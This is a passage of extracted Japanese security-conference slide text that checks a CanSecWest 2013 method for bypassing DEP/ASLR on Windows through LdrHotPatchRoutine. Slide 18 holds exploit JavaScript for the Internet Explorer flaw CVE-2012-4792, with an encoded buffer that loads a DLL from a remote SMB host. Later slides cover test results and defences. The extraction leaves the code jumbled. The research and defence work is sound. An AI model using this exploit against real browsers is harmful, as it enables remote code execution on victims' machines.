  • 18. ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 ) struct HotPatchBuffer function CVE-2012-4792_EXP() { { var e0 = null; ULONG NotSoSure01; // => EAX へ var e1 = null; ULONG NotSoSure02; var e2 = null; USHORT PatcherNameOffset; try { USHORT PatcherNameLen; e0 = document.getElementById("a"); USHORT PatcheeNameOffset; e1 = document.getElementById("b"); USHORT PatcheeNameLen; e2 = document.createElement("q"); USHORT UnknownNameOffset; e1.applyElement(e2); USHORT UnknownNameLen e1.appendChild(document.createElement('button')); char[] PatcherName; e1.applyElement(e0); char[] PatcheeName; e2.outerText = ""; }; e2.appendChild(document.createElement('body')); } catch(e) { } PatcherName : CollectGarbage(); ¥¥192.168.59.128¥x¥x.dll window.location = "¥u0274¥u7ffe¥u4242¥u4242¥u0014¥u0030¥u0044" + "¥u0012¥u1212¥u0004¥u005c¥u005c¥u0031¥u0039¥u0032¥u002e¥u0031" + PatcheeName : "¥u0036¥u0038¥u002e¥u0035¥u0039¥u002e¥u0031¥u0032¥u0038¥u005c" + "¥u0078¥u005c¥u0078¥u002e¥u0064¥u006c¥u006c¥u006e¥u0074¥u0064" + ntdll.dll "¥u006c¥u006c¥u002e¥u0064¥u006c¥u006c"; } を使わずに を回避する。
  • 19. ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 ) MS13-008 を応用したサンプル。 先ほどのコードが実行されると、 LdrHotPatchRoutine が実行される。 また、事前に “push edi” としている点から、 関数に必要なパラメータはここから持って これる。 を使わずに を回避する。
  • 20. 実際に試してみた。 を使わずに を回避する。
  • 21. テスト環境 Windows 7 Service Pack 1 (x86, x86_64) + Internet Explorer 8 Windows 8 (x86, x86_64) + Internet Explorer 10 留意点:  MSDN よりダウンロードした状態でそのまま使う。 Windows Update 等は禁止する。 を使わずに を回避する。
  • 22. 挿入するDLL : BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) { switch(fdwReason) { case DLL_PROCESS_ATTACH: MessageBox (NULL,L"HELLO APA SEC!",NULL,NULL); break; } return TRUE; } を使わずに を回避する。
  • 23. 実行させてみた。 実行後は IE が応答無しになる。 MS13-008 が未修正の x86 版 Windows で実行すると、すさまじい数のアラートが出る。 を使わずに を回避する。
  • 24. もっと動かしてみた。 EMET では、 外部サーバの DLL を見に行 くような挙動はチェックして いないらしい。 また、 LdrHotPatchRoutine の 呼び出しについても同様。 を使わずに を回避する。
  • 25. 気になったところ。 を使わずに を回避する。
  • 26. APA akasaka この攻撃を防ぐには? APA -180 LdrHotpatchRoutine のパラメータを見る。 struct HOTPATCH{ Flag は正しい? DWORD Flags; DWORD Size; union { size は正しい? struct CodeInfo { } struct KernelInfo { } そもそも、 struct UserModeInfo { } リモートのファイル 呼び出し元は? struct InjectionInfo { } struct RenameInfo {} を見に行ってない? struct AtomicSwap { } } } http://www.openrce.org/articles/full_view/22 あとは外向けのファイアウォールで、 ここに LdrHotPatchRoutine に対しての SMB 通信を切る。 詳しい資料がある。 を使わずに を回避する。
  • 27. Windows 8 では? SharedUserData に SystemCall を指し示したポインタがない。 Windows XP Windows 8 Windows 8 でも、KiFastSystemCall 自体は存在する。 プロセスからアクセスできる範囲を全部検索してみても、 そこを示したポインタはなさそう。 を使わずに を回避する。
  • 28. Windows 8 では? Wow64SharedInformation がない。 Windows 7 Windows 8 ただし、メソッド自体は 残っている。 検索結果は先ほどと同様。 を使わずに を回避する。
  • 29. x86 のサンプルについて 0x11db と書いてあるけれど、それは NtGdiEngCheckAbort だとおもう。 NtUserLockWorkStation なら、 0x12db では。 ・・でも、もちろんこの値を正しく設定できれば、実行はで きるはず。(未確認。) ref : http://j00ru.vexillium.org/win32k_x64/ を使わずに を回避する。
  • 30. まとめ を使わずに を回避する。
  • 31. まとめ。 0x7ffe0000 にSharedUserData 構造体のデータが アドレス固定で置かれている。 そのうち、 x86 では KiFastSystemCall x86_64 では LdrHotPatchRoutine を呼び出すことが出来る。 特に後者ではスプレー不要のため、より簡単に呼び出せて危険。 Windows 8 では今回の問題に関する情報は削除されていた。 を使わずに を回避する。
  • 32. ROP/JIT を使わずに CanSecWest 2013 の DEP/ASLR を回避する。 資料の検証。 を使わずに を回避する。